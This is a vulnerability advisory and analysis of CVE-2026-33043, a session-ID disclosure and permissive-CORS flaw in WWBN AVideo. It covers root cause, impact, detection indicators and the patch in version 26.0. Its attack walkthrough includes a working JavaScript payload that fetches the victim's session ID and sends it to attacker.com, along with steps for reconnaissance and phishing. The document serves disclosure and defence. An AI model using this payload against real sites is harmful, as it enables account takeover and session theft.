CVE-2026-33043: 
PHP vulnerability analysis and mitigation

CVE-2026-33043 is a session hijacking vulnerability in WWBN AVideo, an open source video platform, caused by unauthenticated session ID disclosure combined with a permissive CORS misconfiguration. The endpoint /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request, while the allowOrigin() function blindly reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. All versions up to and including 25.0 are affected; the issue is fixed in version 26.0. It carries a CVSS v3.1 base score of 8.1 (High) (Github Advisory, AVideo Advisory).

The vulnerability has two compounding root causes classified under CWE-942 (Permissive Cross-domain Policy with Untrusted Domains). First, objects/phpsessionid.json.php calls allowOrigin() and then directly returns the active PHP session ID (session_id()) in a JSON response with no authentication check. Second, the allowOrigin() function in objects/functions.php (around line 2648) reflects the attacker-supplied Origin (or Referer) header verbatim into Access-Control-Allow-Origin and unconditionally sets Access-Control-Allow-Credentials: true, bypassing the browser's same-origin policy protections. This combination allows any third-party website to issue a credentialed cross-origin fetch() request and read the victim's session ID from the JSON response. The fix (commit 9f4f51e) removes the allowOrigin() call from the session ID endpoint entirely and refactors allowOrigin() to validate the request origin against the configured site origin before granting credentialed access (Github Advisory, AVideo Commit).

Successful exploitation results in full account takeover for any logged-in AVideo user — including administrators — who visits an attacker-controlled page. The attacker obtains the victim's PHP session ID, which can be used to impersonate the victim with their full privileges, leading to high confidentiality impact (access to account data, private videos, credentials) and high integrity impact (ability to modify content, settings, or user data). Availability is not directly impacted. If an administrator account is compromised, the attacker gains platform-wide control, potentially affecting all users and hosted content (AVideo Advisory).

A public proof-of-concept exploit is available in the GitHub security advisory, consisting of a complete, runnable JavaScript snippet that performs a credentialed cross-origin fetch to steal the session ID and exfiltrate it to an attacker-controlled server. The EPSS score is approximately 0.03% (6th percentile), and there is no current evidence of in-the-wild exploitation. The vulnerability is not listed in the CISA KEV catalog. Exploitation requires user interaction — a logged-in victim must visit the attacker's page — but requires no privileges from the attacker's side (AVideo Advisory, Github Advisory).

1. Reconnaissance: Identify internet-facing WWBN AVideo instances running version 25.0 or below using search engines (Shodan, Censys) or by checking the platform's version disclosure.
2. Set up attacker infrastructure: Register an attacker-controlled domain and host a malicious HTML page with the following JavaScript payload:

fetch('https://TARGET/objects/phpsessionid.json.php', { credentials: 'include' })
  .then(r => r.json())
  .then(d => {
    document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
  });

3. Deliver the malicious link: Trick a logged-in AVideo user (ideally an administrator) into visiting the attacker-controlled page via phishing, social engineering, or a malicious link embedded in content.
4. Capture the session ID: When the victim's browser loads the attacker's page, it automatically sends the victim's AVideo session cookie with the cross-origin fetch request. Due to the permissive CORS policy, the browser allows the response to be read, and the session ID is exfiltrated to the attacker's server.
5. Session hijacking: The attacker uses the stolen PHP session ID (e.g., by setting the PHPSESSID cookie in their browser) to authenticate to the AVideo instance as the victim, gaining full access to their account and privileges (AVideo Advisory).

• Network: Unusual cross-origin requests to /objects/phpsessionid.json.php from unexpected Origin headers (i.e., origins other than the AVideo site itself); outbound redirects from victim browsers to unknown external domains immediately after accessing the AVideo platform.
• Logs: Web server access logs showing GET requests to /objects/phpsessionid.json.php with Origin: headers from third-party domains; repeated session ID lookups from different IP addresses using the same PHPSESSID value (indicating session reuse by an attacker).
• Application Behavior: Authenticated actions (content uploads, settings changes, user management) performed from IP addresses or user agents inconsistent with the legitimate account owner's history, suggesting session hijacking is in progress.

Upgrade WWBN AVideo to version 26.0 or later, which removes the allowOrigin() call from objects/phpsessionid.json.php and refactors the CORS logic to validate the request origin against the configured site origin before granting credentialed access (AVideo Commit). If immediate patching is not possible, restrict access to the /objects/phpsessionid.json.php endpoint at the web server or firewall level to block external requests. Additionally, implement strict Origin validation in the allowOrigin() function to prevent arbitrary origins from receiving Access-Control-Allow-Credentials: true responses (Github Advisory).

The vulnerability was reported by security researcher offensiveee and published by the AVideo maintainer DanielnetoDotCom on March 16, 2026. Social media activity was observed on Mastodon (via @thehackerwire) and Bluesky shortly after disclosure, indicating moderate community awareness. The issue was picked up by several vulnerability tracking platforms including VulnDB, CVEFeed, and Qualys (detection ID 5009293), reflecting standard industry coverage for a high-severity open source vulnerability (AVideo Advisory).